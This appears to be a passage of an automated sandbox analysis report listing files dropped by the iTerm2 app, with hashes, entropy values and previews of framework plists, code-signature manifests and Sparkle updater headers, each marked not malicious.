Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>BuildMachineOSBuild</key>..<string>20A5299w</string>..<key>CFBundleDevelopmentRegion</key>..<string>English</string>..<key>CFBundleExecutable</key>..<string>NMSSH</string>..<key>CFBundleIdentifier</key>..<string>se.ninemuses.NMSSH</string>..<key>CFBundleInfoDictionaryVersion</key>..<string>6.0</string>..<key>CFBundleName</key>..<string>NMSSH</string>..<key>CFBundlePackageType</key>..<string>FMWK</string>..<key>CFBundleShortVersionString</key>..<string>1.0</string>..<key>CFBundleSignature</key>..<string>????</string>..<key>CFBundleSupportedPlatforms</key>..<array>...<string>MacOSX</string>..</array>..<key>CFBundleVersion</key>..<string>1</string>..<key>DTCompiler</key>..<string>com.apple.compilers.llvm.clang.1_0</string>..<key>DTPlatformBuild</key>..<string>12A8158a</string>..<key>DTPlatformName</key>..<string>ma

/Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/_CodeSignature/CodeResources Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	4167
Entropy (8bit):	5.186610039894865
Encrypted:	false
SSDEEP:	96:CyW9T4na6uoqLFACR044CkYT2BLDzFNQpO/YTbJvy:XCdJEDzko
MD5:	609F312D608043A33AEA6B43441FDF75
SHA1:	DF1BE867DDA5B536E121D650CAB1595A2F257DC2
SHA-256:	4E21CD452CE22CFB4225B3944E334BBEC7B9EF82451EBF2D4958D37BB692ABD6
SHA-512:	BF4BD0C85BD82D268117D7D8FE125E32B073A045884BCAF1B5FC635893299FE909D04C769256F451B83506623A017E09B5E847AA0F254D02A807BE830AE2F44E
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>files</key>..<dict>...<key>Resources/Info.plist</key>...<data>...tvSi8zVUlOTCkUGCuy60vXXopOk=...</data>..</dict>..<key>files2</key>..<dict>...<key>Headers/NMSFTP.h</key>...<dict>....<key>hash2</key>....<data>....ypzVhEFHKs1wCtsZDoHgh/JVKK0kYm3DOgM28MkE+Kc=....</data>...</dict>...<key>Headers/NMSFTPFile.h</key>...<dict>....<key>hash2</key>....<data>....yggeElDuCNbnSt9rzx0JRygVOm1DpK5v8jqN38evE20=....</data>...</dict>...<key>Headers/NMSSH.h</key>...<dict>....<key>hash2</key>....<data>....tqp7UQjc7P7mRFTSWHLD4s5O543cq5I2QUtWsQQS23k=....</data>...</dict>...<key>Headers/NMSSHChannel.h</key>...<dict>....<key>hash2</key>....<data>....9lwb+D3r6IHEA74nwBdbY/+1fSg9B1g1h+XI57PwEXE=....</data>...</dict>...<key>Headers/NMSSHChannelDelegate.h</key>...<dict>....<key>hash2</key>....<data>....CV9O5ZU06cPSFpEm84+JpTemgWtaIgeTLBxF

/Applications/iTerm.app/Contents/Frameworks/SearchableComboListView.framework/Versions/A/Resources/Info.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	5.193483921373418
Encrypted:	false
SSDEEP:	24:2dfyiwBWRw6wj3kLMa6M42Rwgp/sH2Pg6jee5YIMGD8/fI:cfyfwQj+cMjOgiH2I6ScvXD84
MD5:	F743DD0874F2626C3B686FBCAD11779B
SHA1:	B590A383B6AD2FB93702832CD220481B66587670
SHA-256:	37492239E3B6EAFE01440A0DD92785DA5F882F3821242FADC07807BE30F43C7E
SHA-512:	A582E1EAC4DEA735251EEAB6E985B34C85EB1A38959E4125C7A795313F76B93D7203E59FDAC1CD3D6B89A5DBFE4CFB8E1B1DEF8A9D03253C8B21F459AB7B1142
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>BuildMachineOSBuild</key>..<string>20A5374g</string>..<key>CFBundleDevelopmentRegion</key>..<string>en</string>..<key>CFBundleExecutable</key>..<string>SearchableComboListView</string>..<key>CFBundleIdentifier</key>..<string>com.iterm2.SearchableComboListView</string>..<key>CFBundleInfoDictionaryVersion</key>..<string>6.0</string>..<key>CFBundleName</key>..<string>SearchableComboListView</string>..<key>CFBundlePackageType</key>..<string>FMWK</string>..<key>CFBundleShortVersionString</key>..<string>1.0</string>..<key>CFBundleSupportedPlatforms</key>..<array>...<string>MacOSX</string>..</array>..<key>CFBundleVersion</key>..<string>1</string>..<key>DTCompiler</key>..<string>com.apple.compilers.llvm.clang.1_0</string>..<key>DTPlatformBuild</key>..<string>12B5018i</string>..<key>DTPlatformName</key>..<string>macosx</

/Applications/iTerm.app/Contents/Frameworks/SearchableComboListView.framework/Versions/A/Resources/SearchableComboView.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	6.648229648085144
Encrypted:	false
SSDEEP:	768:rgN5RUYyl1EtY/gjgTHRUYylNHgTiRUYylcNh:rgfKp1EO4jg7KpNHguKpcNh
MD5:	4C78651221921E07FF2ACDB064B7F5E6
SHA1:	CB762299B2CDE22EAB9E29DFAABD0AF8F92895F1
SHA-256:	FD883BF9566F3A204D388F3E312CD5101739ED7653FEA82BD5F7AE58D2C0EA4B
SHA-512:	7D29DF1AA9283C7F969E3456868C7830651BD2D4454F78AE80FB33520D6DB6EE60B28D376D18EF3573DE5913B710BF413283B61D5A97E24E5402E2A443B5152F
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.C.M.\|.}.~..................................................... ...!.".&..+./.2.3.7.=.l.m.n...................................................................................$.,.8.9.<.C.D.E.K.V.W.X.\.].^.c......................................................................... .&./.3.C.D.K.L.R.S.Y.Z.q.t.u.....f.n........................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._.8_TtC15iTerm2SharedARC33SearchableComboListViewController..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.B..:.;

/Applications/iTerm.app/Contents/Frameworks/SearchableComboListView.framework/Versions/A/SearchableComboListView Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O fat file with 2 architectures
Category:	dropped
Size (bytes):	645056
Entropy (8bit):	5.194764773181944
Encrypted:	false
SSDEEP:	12288:rRrrbUsd07J1JR4mQJpfmQwgoJlWf3mHmmQChmQ8g:Zb107J1JR0CgmI3mHzKg
MD5:	3479278EE7EF551F5866A2A428F51CFA
SHA1:	EBAAC43102ABB52A0A4823D5F3C8C7CE2928E377
SHA-256:	85EB677453E38988B5AF519B4D5EE7C890C6244EC7566FEDCCFD4708CDC1331D
SHA-512:	FA2AC3065E4066E6A29104CB26B6CAA1C9CA6F33CA3A394EBCC21306686BE9E80A65BE280D402E757052E0408ABC3B5CB55C1FF83CCB7DA8AEB8C3C75944F1BE
Malicious:	false
Reputation:	low
Preview:	..................@....0................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/Applications/iTerm.app/Contents/Frameworks/SearchableComboListView.framework/Versions/A/_CodeSignature/CodeResources Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	2694
Entropy (8bit):	4.971872950041284
Encrypted:	false
SSDEEP:	48:cfyWuoebs6mef/GvH1qOPOBLSejzFXDj9KHhamOn/GvH1qOvzX5vy:CyWuDbsJkYT2BLDzFNQpO/YTbJvy
MD5:	D0B87BF4F107F3EFE6B180647E0A84D5
SHA1:	54B7493EA527A2EBAE97781F6BEBB6A7CA4B20BC
SHA-256:	E5FED06D1374FF6D6DF09B515A173F4AC5FE341C1CB2F10EE2EAFD336C369B5D
SHA-512:	4CD064BB527FC987FA436DBA57C6A48C36358383CD730F0660F439EAB4F8D2F9F5A7B48E92E5E2BDFF1B7BAFA6796846A8FC28A5131DD378ABEB0617E623D6E5
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>files</key>..<dict>...<key>Resources/Info.plist</key>...<data>...tZCjg7atL7k3AoMs0iBIG2ZYdnA=...</data>...<key>Resources/SearchableComboView.nib</key>...<data>...y3YimbLN4i6rninfqr0K+PkolfE=...</data>..</dict>..<key>files2</key>..<dict>...<key>Resources/Info.plist</key>...<dict>....<key>hash2</key>....<data>....N0kiOeO26v4BRAoN2SeF2l+ILzghJC+twHgHvjD0PH4=....</data>...</dict>...<key>Resources/SearchableComboView.nib</key>...<dict>....<key>hash2</key>....<data>..../Yg7+VZvOiBNOI8+MSzVEBc57XZT/qgr1feuWNLA6ks=....</data>...</dict>..</dict>..<key>rules</key>..<dict>...<key>^Resources/</key>...<true/>...<key>^Resources/.\.lproj/</key>...<dict>....<key>optional</key>....<true/>....<key>weight</key>....<real>1000</real>...</dict>...<key>^Resources/.\.lproj/locversion.plist$</key>...<dict>....<key>omit</key>....<true/

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SPUDownloadData.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	UTF-8 Unicode C++ program text
Category:	dropped
Size (bytes):	973
Entropy (8bit):	5.238635880738569
Encrypted:	false
SSDEEP:	12:3HKmlPUFUYxHgNYIMvdU1DlvdlVDDPSp2jlam4uSr9706442Echu9teyYhuieE:3HquQy5MW1xRPSojgm4umn4Kn9teeij
MD5:	2C9687044E4679C9AE6BC7329350A6E3
SHA1:	D2E8AB00430362ECEA4A1DDD6ED7E772F953A6FA
SHA-256:	0E4397A8F9F099747A41E0C8E236B70ED1710D6E4BDC37237F6D6110F5889A86
SHA-512:	E407D5C19FFC5C30B4162D80FD9155A9A135ECA51A5BF96D4BDFE1D67AB88111EA6FD181FEE37B597704454A7CD9703B7312626959AFAC48F8A7418EB5268DB9
Malicious:	false
Reputation:	low
Preview:	//.// SPUDownloadData.h.// Sparkle.//.// Created by Mayur Pawashe on 8/10/16..// Copyright .. 2016 Sparkle Project. All rights reserved..//..#if __has_feature(modules).@import Foundation;.#else.#import <Foundation/Foundation.h>.#endif..#import "SUExport.h"..NS_ASSUME_NONNULL_BEGIN../!. A class for containing downloaded data along with some information about it.. /.SU_EXPORT @interface SPUDownloadData : NSObject <NSSecureCoding>..- (instancetype)initWithData:(NSData )data textEncodingName:(NSString * _Nullable)textEncodingName MIMEType:(NSString * _Nullable)MIMEType;../!. The raw data that was downloaded.. /.@property (nonatomic, readonly) NSData data;../!. The IANA charset encoding name if available. Eg: "utf-8". /.@property (nonatomic, readonly, nullable, copy) NSString textEncodingName;../!. The MIME type if available. Eg: "text/plain". /.@property (nonatomic, readonly, nullable, copy) NSString MIMEType;..@end..NS_ASSUME_NONNULL_END.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SPUDownloader.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	UTF-8 Unicode C++ program text
Category:	dropped
Size (bytes):	791
Entropy (8bit):	4.899730839290083
Encrypted:	false
SSDEEP:	24:3fY0Qy5MWa7AdZnK2CCR7iioJlMVEeTG9LvH:vY0QyOWCmdLCI7iioH2TG9b
MD5:	646338A635CC336C5D68C21CA295C28C
SHA1:	38003AB4AC73D60E15D524196A3DD13CD98D333A
SHA-256:	3840F3E646385A0B56B99F120298F2AAF54311FDE2123ED2836BA197EDC9FA39
SHA-512:	5B6C6D8BF93F6B3C73FAF664739463BA2C69EB995B24AAD2E10923F92B1B2438993C1D1FF11D0A7FBBC5DC9A248FF022347740B3CEDB23565E018947377EAC1D
Malicious:	false
Reputation:	low
Preview:	//.// SPUDownloader.h.// Downloader.//.// Created by Mayur Pawashe on 4/1/16..// Copyright .. 2016 Sparkle Project. All rights reserved..//..#if __has_feature(modules).@import Foundation;.#else.#import <Foundation/Foundation.h>.#endif.#import "SPUDownloaderProtocol.h"..@protocol SPUDownloaderDelegate;..// This object implements the protocol which we have defined. It provides the actual behavior for the service. It is 'exported' by the service to make it available to the process hosting the service over an NSXPCConnection..@interface SPUDownloader : NSObject <SPUDownloaderProtocol>..// Due to XPC remote object reasons, this delegate is strongly referenced.// Invoke cleanup when done with this instance.- (instancetype)initWithDelegate:(id <SPUDownloaderDelegate>)delegate;..@end.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SPUDownloaderDelegate.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	UTF-8 Unicode C++ program text
Category:	dropped
Size (bytes):	1153
Entropy (8bit):	5.05718696939048
Encrypted:	false
SSDEEP:	24:3JrY0Qy5MWkkHAZi20TXrj1fz5vi2SfKi23fL7+ZD:ZrY0QyOW9uPwXvFzhPSfKP3fu9
MD5:	A291BA6AE660330FAC9330A8802D4B74
SHA1:	52406F1F1CCD600FD838DD08984F26FFC838BE48
SHA-256:	F03E91C91D9ACE245022244DDDEEEAC6510CF637E09300414D69928C384BAA6F
SHA-512:	7D913883F890442B58249A1579406B66C6CEDDC226297F0B10DCDFCECCD794F8B5DB0B17586F18F6B8CAB66A1E13CE61609B2F1348B5ABA4D4BC17F33976CAB3
Malicious:	false
Reputation:	low
Preview:	//.// SPUDownloaderDelegate.h.// Sparkle.//.// Created by Mayur Pawashe on 4/1/16..// Copyright .. 2016 Sparkle Project. All rights reserved..//..#if __has_feature(modules).@import Foundation;.#else.#import <Foundation/Foundation.h>.#endif..NS_ASSUME_NONNULL_BEGIN..@class SPUDownloadData;..@protocol SPUDownloaderDelegate <NSObject>..// This is only invoked for persistent downloads.- (void)downloaderDidSetDestinationName:(NSString )destinationName temporaryDirectory:(NSString )temporaryDirectory;..// Under rare cases, this may be called more than once, in which case the current progress should be reset back to 0.// This is only invoked for persistent downloads.- (void)downloaderDidReceiveExpectedContentLength:(int64_t)expectedContentLength;..// This is only invoked for persistent downloads.- (void)downloaderDidReceiveDataOfLength:(uint64_t)length;..// downloadData is nil if this is a persisent download, otherwise it's non-nil if it's a temporary download.- (void)downloaderDidFinis

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SPUDownloaderDeprecated.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	UTF-8 Unicode C++ program text
Category:	dropped
Size (bytes):	258
Entropy (8bit):	4.803269412124003
Encrypted:	false
SSDEEP:	6:c4tUuL6mnIdsRUSVigN09sUt3tUuFBc4tq3tABbaLZn:3pL6mvUSVigNyhpL3A3Wbm
MD5:	27B6E48889C689C851B71D4736F13F78
SHA1:	97BFFE3FCD93920469FD82E742D26D8CC59DDFF0
SHA-256:	03B3C1321C2E4C7D17FC90DEC8B961D57ADD73492BC233EA7413C289E3C5AF14
SHA-512:	30856CBDB7A9AE681769D09F028FFCF4D1446B7BFEBA89F2207ACFBA7AD67B1507510F01B01AD262373EA42EC885E8B0CEC5EC3E0953E5B11840736D1BED3B69
Malicious:	false
Reputation:	low
Preview:	//.// SPUDownloaderDeprecated.h.// Sparkle.//.// Created by Deadpikle on 12/20/17..// Copyright .. 2017 Sparkle Project. All rights reserved..//..#import "SPUDownloader.h"..@interface SPUDownloaderDeprecated : SPUDownloader <SPUDownloaderProtocol>..@end.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SPUDownloaderProtocol.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	UTF-8 Unicode C++ program text
Category:	dropped
Size (bytes):	797
Entropy (8bit):	5.166533255455837
Encrypted:	false
SSDEEP:	12:3WyYrYHUYxHgNYIMvdUk/KMaxZMyQ9BMpGSdW9C87uN7Z+MS55Grp7a48L86hE:3sY0Qy5MWkY69BxA6VJMyYrdZ8Y6a
MD5:	22649874E233498953087BF92A4A981A
SHA1:	56C0F9F33B0C9A71F8995B8AE39E9E92225C6055
SHA-256:	D36A2ABF27D1090A7948C48140DCD865ACF5FF4553B28D062A73926EE0C4015A
SHA-512:	8E2B2698DDDCD93124D26336826C27884A39F2F4536A2EA3C94DC2B492B3B9E9C9C19A7F0D3438647540F431EC9E978221F89508E4674AE49CA5D5B617823B9F
Malicious:	false
Reputation:	low
Preview:	//.// SPUDownloaderProtocol.h.// PersistentDownloader.//.// Created by Mayur Pawashe on 4/1/16..// Copyright .. 2016 Sparkle Project. All rights reserved..//..#if __has_feature(modules).@import Foundation;.#else.#import <Foundation/Foundation.h>.#endif..NS_ASSUME_NONNULL_BEGIN..@class SPUURLRequest;..// The protocol that this service will vend as its API. This header file will also need to be visible to the process hosting the service..@protocol SPUDownloaderProtocol..- (void)startPersistentDownloadWithRequest:(SPUURLRequest )request bundleIdentifier:(NSString )bundleIdentifier desiredFilename:(NSString )desiredFilename;..- (void)startTemporaryDownloadWithRequest:(SPUURLRequest )request;..- (void)downloadDidFinish;..- (void)cleanup;..- (void)cancel;..@end..NS_ASSUME_NONNULL_END.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SPUDownloaderSession.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	UTF-8 Unicode C++ program text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.226052339961875
Encrypted:	false
SSDEEP:	6:c4t0umnIdsRUSVigN090xxQhOATIifKswmsUtusUtABsmW06PshR7t0fo4tq3tAw:3TmvUSVigNYIMvdUaEWspP47eA3Wbm
MD5:	F804883AF94A3A840C5EE574859F63EC
SHA1:	21E0D212950647007D1DC0D596A6F16FA935F40F
SHA-256:	6455CB433F743F6878AD1DAFD55A9100ACEB492948B643B9716FF4005CBB7984
SHA-512:	68B9DD17D2DDB2CF1DE2A1434A29F2749F10E16B7650285F16383E0D2456B893CA8D4EB2F78363DE527452644B79D874FFDB50651775EAAA12E9BD18878A7D2D
Malicious:	false
Reputation:	low
Preview:	//.// SPUDownloaderSession.h.// Sparkle.//.// Created by Deadpikle on 12/20/17..// Copyright .. 2017 Sparkle Project. All rights reserved..//..#if __has_feature(modules).@import Foundation;.#else.#import <Foundation/Foundation.h>.#endif.#import "SPUDownloader.h".#import "SPUDownloaderProtocol.h"..NS_CLASS_AVAILABLE(NSURLSESSION_AVAILABLE, 7_0).@interface SPUDownloaderSession : SPUDownloader <SPUDownloaderProtocol>..@end.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SPUURLRequest.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	UTF-8 Unicode C++ program text
Category:	dropped
Size (bytes):	871
Entropy (8bit):	5.151239734948739
Encrypted:	false
SSDEEP:	24:CelpQy5MWUFl51YOOWJC/hzAp1W5VTK14+ZAGaOpsRi:CoQyOWUj51YUJIu1kVG1AnOCc
MD5:	48D58DC7B4B70F4152FC798885A12F9D
SHA1:	E7CF3F5BA19435760555AAFD9F282A1CD61E4D7F
SHA-256:	E041B8A986C980CD300490A848F0F595B6C34CB1E59BCE66E3135E8725F253BE
SHA-512:	C18E42CB04DAAC1DEFE1D2D67A157F7898B503084CCEFC153A2F7CEBBA9E3F9845D7A50DE0A6EAD1B63B658E8D45119DB4D95154C8E3A70C1D0CBC531E229573
Malicious:	false
Reputation:	low
Preview:	//.// SPUURLRequest.h.// Sparkle.//.// Created by Mayur Pawashe on 5/19/16..// Copyright .. 2016 Sparkle Project. All rights reserved..//..#if __has_feature(modules).@import Foundation;.#else.#import <Foundation/Foundation.h>.#endif..NS_ASSUME_NONNULL_BEGIN..// A class that wraps NSURLRequest and implements NSSecureCoding.// This class exists because NSURLRequest did not support NSSecureCoding in macOS 10.8.// I have not verified if NSURLRequest in 10.9 implements NSSecureCoding or not.@interface SPUURLRequest : NSObject <NSSecureCoding>..// Creates a new URL request.// Only these properties are currently tracked:.// * URL.// * Cache policy.// * Timeout interval.// * HTTP header fields.// * networkServiceType.+ (instancetype)URLRequestWithRequest:(NSURLRequest )request;..@property (nonatomic, readonly) NSURLRequest request;..@end..NS_ASSUME_NONNULL_END.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SUAppcast.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII C++ program text
Category:	dropped
Size (bytes):	760
Entropy (8bit):	5.379198853891321
Encrypted:	false
SSDEEP:	12:DHjAmpWdiyAnpmMvdUXm/zBU792EIGUGC2CGPET3ALrKIwchazN:DHjHWQyAnpmMWXmNU7UEIGUP2HP23ALy
MD5:	2D9CB0D93D2AAB9513D836C067CC1B17
SHA1:	A6EC93308B1C3DD80658640CE1321378F20A49D0
SHA-256:	477FD542F642BFC01BDF8082D7BBED04747776A9095E789D4D1E67F1A5F80C3D
SHA-512:	7ECE5F68F6B2B7CE7B3F04E99C19E81CA30565C6221337E659BDC725E6AF6F91824CBAA54C35BE290C1AEE66DBC459F4F187BAEB7A465DDCDD4A99BC1D53421B
Malicious:	false
Reputation:	low
Preview:	//.// SUAppcast.h.// Sparkle.//.// Created by Andy Matuschak on 3/12/06..// Copyright 2006 Andy Matuschak. All rights reserved..//..#ifndef SUAPPCAST_H.#define SUAPPCAST_H..#if __has_feature(modules).@import Foundation;.#else.#import <Foundation/Foundation.h>.#endif.#import "SUExport.h"..NS_ASSUME_NONNULL_BEGIN..@class SUAppcastItem;.SU_EXPORT @interface SUAppcast : NSObject..@property (copy, nullable) NSString userAgentString;.@property (copy, nullable) NSDictionary<NSString , NSString > httpHeaders;..- (void)fetchAppcastFromURL:(NSURL )url inBackground:(BOOL)bg completionBlock:(void (^)(NSError _Nullable))err;.- (SUAppcast )copyWithoutDeltaUpdates;..@property (readonly, copy, nullable) NSArray items;.@end..NS_ASSUME_NONNULL_END..#endif.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SUAppcastItem.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII C++ program text
Category:	dropped
Size (bytes):	1894
Entropy (8bit):	5.0380713222515885
Encrypted:	false
SSDEEP:	48:DuWQ8QW/aqFamJwTICs0tebX1bztJgnFhOH:DuM/acbztJgnFQ
MD5:	791AF6191F5FBF4E1A9A18F8BFF5F7BE
SHA1:	610BF2118027E94583C14F0D4F971C3F085D4571
SHA-256:	641DBB5F415F359E787B3F05640143122EBFA38058B509E5E00F58DED01B9142
SHA-512:	C437A908073B3B9045578850722FCA063BBF78A6D2017B9EECB2C7BB0D722D78073A567170DFA91206A03C120BAE5FF16882C29B939E978BC6CF573A5DA4B60E
Malicious:	false
Reputation:	low
Preview:	//.// SUAppcastItem.h.// Sparkle.//.// Created by Andy Matuschak on 3/12/06..// Copyright 2006 Andy Matuschak. All rights reserved..//..#ifndef SUAPPCASTITEM_H.#define SUAPPCASTITEM_H..#if __has_feature(modules).@import Foundation;.#else.#import <Foundation/Foundation.h>.#endif.#import "SUExport.h".@class SUSignatures;..SU_EXPORT @interface SUAppcastItem : NSObject.@property (copy, readonly) NSString title;.@property (copy, readonly) NSString dateString;.@property (copy, readonly) NSDate date;.@property (copy, readonly) NSString itemDescription;.@property (strong, readonly) NSURL releaseNotesURL;.@property (strong, readonly) SUSignatures signatures;.@property (copy, readonly) NSString minimumSystemVersion;.@property (copy, readonly) NSString maximumSystemVersion;.@property (strong, readonly) NSURL fileURL;.@property (nonatomic, readonly) uint64_t contentLength;.@property (copy, readonly) NSString versionString;.@property (copy, readonly) NSString *osString;.@property (cop

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SUCodeSigningVerifier.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII C++ program text
Category:	dropped
Size (bytes):	681
Entropy (8bit):	5.344756640443208
Encrypted:	false
SSDEEP:	12:D9qNwYqUmpBvle/Y6ni/YsMvdULrNwYYR2jPReCmb4eCz8FAIQBeCh8A1C0FhvRr:D9qmYEZleA6niAsMWLrmYYQboVbDA8Fi
MD5:	A7F9BC52EAA273C0A43C3B54D89BD95C
SHA1:	5A3F74A6000346D7B40E1C949A539758E469F37D
SHA-256:	3CFC2AAA57DA47C87121F0F660429D573C8337890155DBA5E791C30042F143B5
SHA-512:	45ABCB7BA604FE343A2D4299301D33E79A78E4ED5602800E19D7D2A222FDC2085361688009CBB5F5ABA8248D0953F418F7E747A695AEF8B7ABEC4D01EC648B8F
Malicious:	false
Reputation:	low
Preview:	//.// SUCodeSigningVerifier.h.// Sparkle.//.// Created by Andy Matuschak on 7/5/12..//.//..#ifndef SUCODESIGNINGVERIFIER_H.#define SUCODESIGNINGVERIFIER_H..#if __has_feature(modules).@import Foundation;.#else.#import <Foundation/Foundation.h>.#endif.#import "SUExport.h"..SU_EXPORT @interface SUCodeSigningVerifier : NSObject.+ (BOOL)codeSignatureAtBundleURL:(NSURL )oldBundlePath matchesSignatureAtBundleURL:(NSURL )newBundlePath error:(NSError *)error;.+ (BOOL)codeSignatureIsValidAtBundleURL:(NSURL )bundlePath error:(NSError *)error;.+ (BOOL)bundleAtURLIsCodeSigned:(NSURL )bundlePath;.+ (NSDictionary )codeSignatureInfoAtBundleURL:(NSURL )bundlePath;.@end..#endif.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SUErrors.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII C++ program text
Category:	dropped
Size (bytes):	1298
Entropy (8bit):	5.016879592109014
Encrypted:	false
SSDEEP:	12:Dk85mViHgNOKtYngtuMvdURAIXM3mz4MbG7JvhXB0MCiPr7yzkg4XONW1Xm5+Ny7:D6ORnnMWmI8SdOJZZPregX+V3J0a8ZfC
MD5:	D151949B9BEB331FBD125F9C9D9C63ED
SHA1:	7D7C982667811F994DB619860F618939690C9A38
SHA-256:	24A4A83890AA8A9F3B341DFDBF58A9D86922F31D6B19571707B0FA91309E0532
SHA-512:	6E01F8F1CBF261E49C8CEF74B59C4A72ABD1F8F68AD8DA047D85DF3E47CF4F0DEDD28531C1C4900C57C019C4266448149A7998D24601851D2FA6E082737A2480
Malicious:	false
Reputation:	low
Preview:	//.// SUErrors.h.// Sparkle.//.// Created by C.W. Betts on 10/13/14..// Copyright (c) 2014 Sparkle Project. All rights reserved..//..#ifndef SUERRORS_H.#define SUERRORS_H..#if __has_feature(modules).@import Foundation;.#else.#import <Foundation/Foundation.h>.#endif.#import "SUExport.h"../*. Error domain used by Sparkle. /.SU_EXPORT extern NSString const SUSparkleErrorDomain;..#pragma clang diagnostic push.#pragma clang diagnostic ignored "-Wc++98-compat".typedef NS_ENUM(OSStatus, SUError) {. // Appcast phase errors.. SUAppcastParseError = 1000,. SUNoUpdateError = 1001,. SUAppcastError = 1002,. SURunningFromDiskImageError = 1003,. SURunningTranslocated = 1004,.. // Download phase errors.. SUTemporaryDirectoryError = 2000,. SUDownloadError = 2001,.. // Extraction phase errors.. SUUnarchivingError = 3000,. SUSignatureError = 3001,. . // Installation phase errors.. SUFileCopyFailure = 4000,. SUAuthenticationFailure = 4001,. SUMiss

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SUExport.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII C++ program text
Category:	dropped
Size (bytes):	302
Entropy (8bit):	5.268228462369445
Encrypted:	false
SSDEEP:	6:DzAmnIWlxIXDHgN0hAh0MlwoJ7/GGMpfcKuzh8Mp91:DzAm3lxqDHgNRnPGFy31
MD5:	553CF08C503C652C38EBC7D0B8698A2A
SHA1:	1B6C37B94FD5EC9CC8BA9B8E8D0D8BC8F546768E
SHA-256:	5CEF024266C54E12DB620F78F4D106860DE0FA2A2E230DFFDFE04208BB447451
SHA-512:	E161CCD0625D1638FD16B1F2D3B9F8F97E18C344B78052B6E37EA4ABBBE300FBC3ED8835E17AC9312C33E70C901B170E66EDAE13D24CD6D1C5453FF2303E045F
Malicious:	false
Reputation:	low
Preview:	//.// SUExport.h.// Sparkle.//.// Created by Jake Petroules on 2014-08-23..// Copyright (c) 2014 Sparkle Project. All rights reserved..//..#ifndef SUEXPORT_H.#define SUEXPORT_H..#ifdef BUILDING_SPARKLE.#define SU_EXPORT __attribute__((visibility("default"))).#else.#define SU_EXPORT.#endif..#endif.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Headers/SUStandardVersionComparator.h Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII C++ program text
Category:	dropped
Size (bytes):	1227
Entropy (8bit):	5.125128890852098
Encrypted:	false
